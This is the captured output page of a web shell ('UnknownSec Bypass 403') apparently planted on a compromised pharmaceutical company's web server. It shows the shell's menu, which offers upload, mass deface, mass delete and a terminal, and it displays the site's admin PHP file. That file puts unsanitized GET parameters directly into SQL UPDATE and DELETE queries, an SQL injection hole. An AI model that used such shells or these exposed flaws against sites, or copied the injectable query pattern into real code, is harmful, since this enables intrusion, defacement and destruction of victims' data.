UnknownSec Bypass
403
:
/
home
/
growthpharma
/
public_html
/
Master@Growth
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
companystatus.php
<?php include_once("config.php"); include_once("session_check.php"); if(isset($_GET['id']) and ($_GET['id']!='')) { $id=$_GET['id']; $status=$_GET['status']; $menustatuschange=mysql_query("update company set status='$status' where id='$id'"); if($menustatuschange) { echo "<script>window.location='managecompany.php'</script>"; $_SESSION['mode']="Record Status Updated"; exit(); } else { echo "<script>window.location='managecompany.php'</script>"; $_SESSION['mode1']="Unable To Update Record Status"; exit(); } } if(isset($_GET['ssdelid']) and ($_GET['ssdelid']!='')) { $id=$_GET['ssdelid']; $check= mysql_fetch_array(mysql_query("select * from cmsminisite where companyid='$id'")); if($check>'0') { echo "<script>window.location='managecompany.php'</script>"; $_SESSION['mode1']="There is dependency you can not delete this!"; exit(); } else{ $submenudelete=mysql_query("delete from company where id='$id'"); echo "<script>window.location='managecompany.php'</script>"; $_SESSION['mode']="Record Deleted Successfully"; exit(); } } if(!$submenudelete){ echo "<script>window.location='managecompany.php'</script>"; $_SESSION['mode1']="Unable To Delete Record"; exit(); } ?>
Copyright © 2024 - UnknownSec